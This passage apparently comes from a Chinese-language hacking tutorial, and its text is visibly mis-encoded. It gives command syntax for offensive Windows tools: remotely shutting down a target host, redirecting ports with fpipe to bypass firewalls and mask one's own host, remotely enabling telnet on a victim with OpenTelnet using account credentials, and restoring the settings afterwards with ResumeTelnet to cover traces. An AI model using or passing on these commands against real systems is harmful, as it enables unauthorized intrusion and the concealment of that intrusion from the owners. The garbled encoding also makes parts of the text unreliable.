Shutdown.exe

Shutdown \\IP地址 t:20 20秒后將對方NT自動(dòng)關(guān)閉（Windows 2003系統(tǒng)自帶工具，在Windows2000下用進(jìn)就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細(xì)介紹。） 

fpipe.exe (TCP端口重定向工具) 在第二篇中有詳細(xì)說明（端口重定向繞過防火墻） 

fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當(dāng)有人掃錨你的80端口時(shí)，他掃到的結(jié)果會完全是www.sina.com.cn的主機(jī)信息 

Fpipe -l 23 -s 88 -r 23 目標(biāo)IP 把本機(jī)向目標(biāo)IP發(fā)送的23端口Telnet請求經(jīng)端口重定向后，就通過88端口發(fā)送到目標(biāo)IP的23端口。（與目標(biāo)IP建立Telnet時(shí)本機(jī)就用的88端口與其相連接）然后：直接Telnet 127.0.0.1（本機(jī)IP）就連接到目標(biāo)IP的23端口了。 

OpenTelnet.exe (遠(yuǎn)程開啟telnet工具) 

opentelnet.exe \\IP 帳號　密碼　ntlm認(rèn)證方式　Telnet端口 （不需要上傳ntlm.exe破壞微軟的身份驗(yàn)證方式）直接遠(yuǎn)程開啟對方的telnet服務(wù)后，就可用telnet \\ip 連接上對方。

NTLM認(rèn)證方式：０：不使用NTLM身份驗(yàn)證；１：先嘗試NTLM身份驗(yàn)證，如果失敗，再使用用戶名和密碼；２：只使用NTLM身份驗(yàn)證。

ResumeTelnet.exe (OpenTelnet附帶的另一個(gè)工具) 

resumetelnet.exe \\IP　帳號　密碼 用Telnet連接完對方后，就用這個(gè)命令將對方的Telnet設(shè)置還原，并同時(shí)關(guān)閉Telnet服務(wù)。